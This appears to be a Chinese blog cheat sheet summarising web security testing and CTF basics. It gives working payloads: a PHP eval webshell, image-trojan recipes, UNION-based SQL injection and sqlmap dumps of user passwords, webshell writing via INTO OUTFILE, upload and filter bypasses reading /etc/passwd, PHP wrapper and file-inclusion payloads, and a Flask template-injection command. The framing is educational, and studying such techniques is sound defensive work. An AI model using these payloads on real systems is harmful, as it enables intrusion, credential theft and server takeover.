1. 程式人生 > 實用技巧 >web安全測試總結、CTF入門總結

web安全測試總結、CTF入門總結

  1. 靜態資源伺服器漏洞

    1. Apache伺服器從後向前解析檔案型別,直到解析到可處理的檔名為止
    2. Apache Tomcat預設安裝包含"/examples"目錄
  2. 木馬與webshell

    1. php一句話木馬

      <?php @eval($_POST['cmd']) ?> 
      
      一句話木馬配合中國菜刀可以實現一個webshell。github也有開源的各種webshell。
      
    2. 圖片木馬

      1. windows

        copy a.png/b + b.txt/a c.png

      2. linux

        cat file1.txt file2.jpg >> file3.jpg

    3. 上傳的圖片木馬可以利用檔案包含漏洞在生成一個小馬,在這個小馬中執行惡意程式碼。

    4. 常用木馬工具

      1. weevely
      2. 中國菜刀
  3. sql注入

    1. 手工注入
      1. 判斷注入點

        字元型

        #注:假設admin為正常查詢字串
        admin' and '1'='1'#    能查詢到資料
        admin' and '1'='2'#    查詢不到資料
        

        整數型

        #注:假設7為正常查詢id
        7 && 1=2
        
      2. 查詢欄位
        a' UNION SELECT 1# 
        a' UNION SELECT 1,2#
        a' UNION SELECT 1,2,3#
        ...直到正常顯示資料為止,同時注意數字出現在網頁上的位置
        
      3. 查詢庫
        a' union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA# 
        ...直到正常顯示資料為止,同時注意數字出現在網頁上的位置
        
      4. 查詢表
        a‘ union select TABLE_NAME,2,3,4,5 from information_schema.TABLES where TABLE_SCHEMA=‘ctf’ limit 0,1 #
        
      5. 查詢欄位
        a’ union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where TABLE_NAME=‘ctf_key’ limit 0,1 #
        
      6. 查詢記錄
        a' union select secvalue,2,3,4,5 from ctf.ctf_key #  
        
    2. sqlmap
      1. 將請求報文抓下來放到一個文字檔案,供sqlmap使用
      2. 判斷注入點,手工判斷或交給sqlmap
        python sqlmap -r request.txt -p "username" ,-r 指定request報文,-p 指定注入引數。 
        
      3. 查詢庫
        python sqlmap.py -r request.txt --current-db,得到當前資料庫的名稱。   
        
      4. 查詢表
        python sqlmap.py -r request.txt -D 資料庫名 --tables,得到資料庫中的表的名稱。  
        
      5. 查詢欄位
        python sqlmap.py -r request.txt -D security -T users --columns,得到users表中的列名。   
        
      6. 查詢記錄
        python sqlmap.py -r request.txt -D security -T users -C username,password --dump,得到使用者名稱、密碼。   
        
    3. sql注入獲取webshell

      利用SQL注入攻擊獲取WebShell其實就是在向伺服器寫檔案。(注意:這裡我們需要得到網站的絕對路徑)所有常用的關係資料庫管理系統(RDBMS)均包含內建的向伺服器檔案系統寫檔案的功能。

      MySQL

      select into outfile(dumpfile) //MySQL寫檔案命令
      

      example:

      select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
      
  4. 檔案上傳漏洞

    1. 檔案上傳漏洞主要有以下幾種情況
      • MIME型別繞過漏洞
      • 副檔名繞過漏洞
      • 檔案內容檢測繞過類上傳漏洞
      • 空位元組截斷目錄路徑檢測繞過類上傳漏洞
    2. 解析導致的檔案上傳漏洞
      • IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
      • Apache站上的解析缺陷繞過上傳漏洞
      • htaccess檔案上傳解析漏洞
  5. HTTP Header 偽造請求地址和源地址

    1. X-Forwarded-For
    2. referer
  6. PHP檔案包含漏洞

    1. 包含日誌檔案
      1. 先通過讀取httpd的配置檔案httpd.conf,找日誌檔案所在目錄。常見日誌檔案位置:
        1. ../etc/httpd/conf/httpd.conf
        2. /usr/local/apache/conf/http.conf
        3. ../apache/logs/error.log
    2. 包含session
      1. 要求攻擊者能控制部分Session的內容。常見的php-session存放位置:
        1. /var/lib/php/sess_PHPSESSID
        2. /var/lib/php/sess_PHPSESSID
        3. /tmp/sess_PHPSESSID
        4. /tmp/sessions/sess_PHPSESSID
    3. 包含/proc/self/environ 檔案
      1. index.php?page=../../../../../proc/self/environ

        該檔案包含Web程序執行時的環境變數,使用者可以控制其中一部分,比如對User-Agent

    4. 包含上傳的臨時檔案
      1. 如資料庫檔案,快取檔案
    5. more:https://zhuanlan.zhihu.com/p/50445145

  7. PHP各種繞過

    1. 弱型別比較
      1. 'abc' == 0, 結果為true
      2. '1234a' == 1234,結果為true
      3. ‘admin’==0,結果為true
      4. ‘1admin’==1,結果為true
      5. “0e123456”==“0e456789”,結果為true
      6. ……
    2. md5校驗漏洞
      1. md5('QNKCDZO') == md5(240610708), 結果為true,適用於sha1
      2. md5(array()) == md5(array()), 結果為true,適用於sha1
    3. strcmp繞過
      1. strcmp("233", array()),結果為null。正常字串比較一致的結果是0,但null在bool運算中很多情況下和0等價,可用來繞過if-else。
    4. 反序列化繞過 __wakeup
      1. 當成員屬性數目大於實際數目時可繞過wakeup方法
    5. %00截斷

      magic_quotes_gpc = off
      PHP < 5.3.4

    6. 位元組長度截斷:最大值Windows下256位元組,Linux下4096位元組
    7. %00截斷目錄遍歷

      /var/www/%00

      magic_quotes_gpc = off

    8. 編碼繞過

      %2e%2e%2f ../
      ..%c0%af ../
      %2e%2e%5c ..\

  8. 其他各種繞過

    1. 檔案上傳繞過檢查
      1. 抓包,修改Content-Type

      2. Apache解析漏洞

        上傳 1.php.jpg #apache從後向前解析

      3. Nginx解析漏洞

        php%001.jpg #00處截斷

      4. IIS解析漏洞

        a.asp; xx.jpg

      5. 修改檔案頭

        GIF89a<?php @eval($_GET[0])> #GIF

      6. 別名

        php的別名php1,php2

    2. linux shell 命令繞過檢查
      1. 使用萬用字元*、?繞過關鍵詞

         ls –l =>/?ln/?s –l
         /bin/cat /var/www/html/index.php => /???/???%20/???/???/????/?????.???
        
      2. 使用連線符繞過關鍵詞

        /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w’d
        /b\i\n/w\h\i\c\h c\a\t
        
      3. 使用未初始化的bash變數繞過

        cat$a /etc$a/passwd$a
        
      4. 使用>繞過命令長度限制

      5. ${IFS}代替空格

    3. SQL注入,繞過檢查

      1. 大小寫如:UniOn,And等
      2. and/or 替換成&& ||
      3. substring mid left right
      4. replace uniunionon=>union
  9. 變數覆蓋漏洞

    1. $$這種寫法稱為可變變數

      一個可變變數獲取了一個普通變數的值作為這個可變變數的變數名。

    2. extract()函式使用不當

      extract() 函式從陣列中將變數匯入到當前的符號表。

      如果程式碼中出現extract(array, EXTR_OVERWRITE),如果你能控制array的值,則存在變數覆蓋漏洞。

    3. parse_str()函式使用不當

      parse_str() 函式把查詢字串解析到變數中。

      parse_str(string,array)

      如果未設定 array 引數,由該函式設定的變數將覆蓋已存在的同名變數。

      $a=1;
      parse_str('a=2');
      // 變數a的值會被覆蓋為2
      
    4. import_request_variables()使用不當

      import_request_variables將 GET/POST/Cookie 變數匯入到全域性作用域中

      語法:

      bool import_request_variables(string$types[,string$prefix])
      

      $type代表要註冊的變數,G代表GET,P代表POST,C代表COOKIE,第二個引數為要註冊變數的字首

      import_request_variables('G')指定匯入GET請求中的變數,從而導致變數覆蓋

    5. https://www.jianshu.com/p/a4d782e91852

  10. 遠端命令執行

    1. preg_replace 有一個程式碼注入的漏洞,模式串後面加個e,會把替換後的字串當做php程式碼執行。 preg_replace 函式php5.5版本以上被廢棄
    2. php assert如果是字串語句,且包含了變數,可以閉合該語句執行任意php程式碼。
    3. 上級目錄 .. 被過濾,使用\繞過。

      linux 進入上一級目錄:cd .. 等價與 cd .\.
      linux bash中,\為轉義字元,用於轉義&這類關鍵字。遇到無需轉義的字元,會忽略掉\。

  11. php偽協議

    1. php://input
      1. 條件:allow_url_include = on

      2. payload

        index.php?file=php://input
        POST:
        <? phpinfo(); ?>
        
    2. php://filter
      使用偽協議讀取php程式碼,編碼為base64:
      php://filter/read=convert.base64-encode/resource=./index.php
      
    3. php://phar
      讀取壓縮檔案下名為phpinfo.txt的檔案
      index.php?file=phar://shell.zip/phpinfo.txt
      
    4. data
      1. 條件

        1. allow_url_fopen = On

        2. allow_url_include = On

          index.php?file=data:text/plain,<?php phpinfo(); ?>%00
          index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
          
    5. php傳送HTTP請求

      url後跟@+檔名,可以將檔案內容加入post請求的資料部分
      
  12. 原始碼洩露

    1. git原始碼洩露,GitHack
    2. svn原始碼洩露, dvcs-ripper
    3. DS_Store檔案洩露, ds_store_exp
    4. phps:php原始碼檔案
    5. WEB-INF/web.xml洩露

      WEB-INF 是 Java 的 WEB 應用的安全目錄。該目錄原則上來說是客戶端無法訪問,只有服務端才可以可以訪問。如果想在頁面中直接訪問其中的檔案,必須通過 web.xml 檔案對要訪問的檔案進行相應對映才能訪問。

      WEB-INF 主要包含一下檔案或目錄:

      /WEB-INF/web.xml:Web 應用程式配置檔案,描述了 servlet 和其他的應用元件配置及命名規則;
      /WEB-INF/classes/:含了站點所有用的 class 檔案,包括 servlet class 和非 servlet class,他們不能包含在 .jar 檔案中;
      /WEB-INF/lib/:存放 web 應用需要的各種 JAR 檔案,放置僅在這個應用中要求使用的 jar 檔案 , 如資料庫驅動 jar 檔案;
      /WEB-INF/src/:原始碼目錄,按照包名結構放置各個 java 檔案;
      /WEB-INF/database.properties:資料庫配置檔案。
      不過在一些特定的場合卻會讓攻擊者能讀取到其中的內容,從而造成原始碼洩露.

    6. 網站備份檔案洩露

      在網站的升級和維護過程中,通常需要對網站中的檔案進行修改。此時就需要對網站整站或者其中某一頁面進行備份。

      當備份檔案或者修改過程中的快取檔案因為各種原因而被留在網站 web 目錄下,而該目錄又沒有設定訪問許可權時,便有可能導致備份檔案或者編輯器的快取檔案被下載,導致敏感資訊洩露,給伺服器的安全埋下隱患。

      該漏洞的成因主要有是管理員將備份檔案放在到 web 伺服器可以訪問的目錄下。

      該漏洞往往會導致伺服器整站原始碼或者部分頁面的原始碼被下載,利用。原始碼中所包含的各類敏感資訊,如伺服器資料庫連線資訊,伺服器配置資訊等會因此而洩露,造成巨大的損失。

      被洩露的原始碼還可能會被用於程式碼審計,進一步利用而對整個系統的安全埋下隱患。

      檔案字尾:

      .rar   .zip  .7z   .tar.gz   .bak    .swp   .txt   .sql
      
  13. php標籤過濾。有些時候命令傳不上去是因為服務端對php標籤做了過濾。

    php標籤
    <?php echo 'Hello World !'; ?>
    <script language="php"> echo 'Hello World !'; </script>
    <? echo 'this is the simplest, an SGML processing instruction'; ?>
    <?= expression ?> This is a shortcut for "<? echo expression ?>"
    <% echo 'You may optionally use ASP-style tags'; %>
    <%= $variable; # This is a shortcut for "<% echo . . ." %>
    
  14. 模板注入

    1. Flask

      1. 命令執行

        {{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__['os'].__dict__['popen']('whoami').read() }}
        
      2. 過濾單引號

        ?{{ [].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals[request.args.linecace].__dict__[request.args.ss].__dict__[request.args.poen](request.args.ls).read() }}&linecace=linecache&ss=os&poen=popen&ls=ls
        
    2. Tornado讀取cookie_screct

      1. {{handler.settings}}
  15. FUZZ

    1. 常用工具
      1. burp suite
      2. wfuzz
  16. GBK編碼範圍:8140-FEFE
  17. 弱密碼爆破
  18. 目錄爆破
    1. dirsearch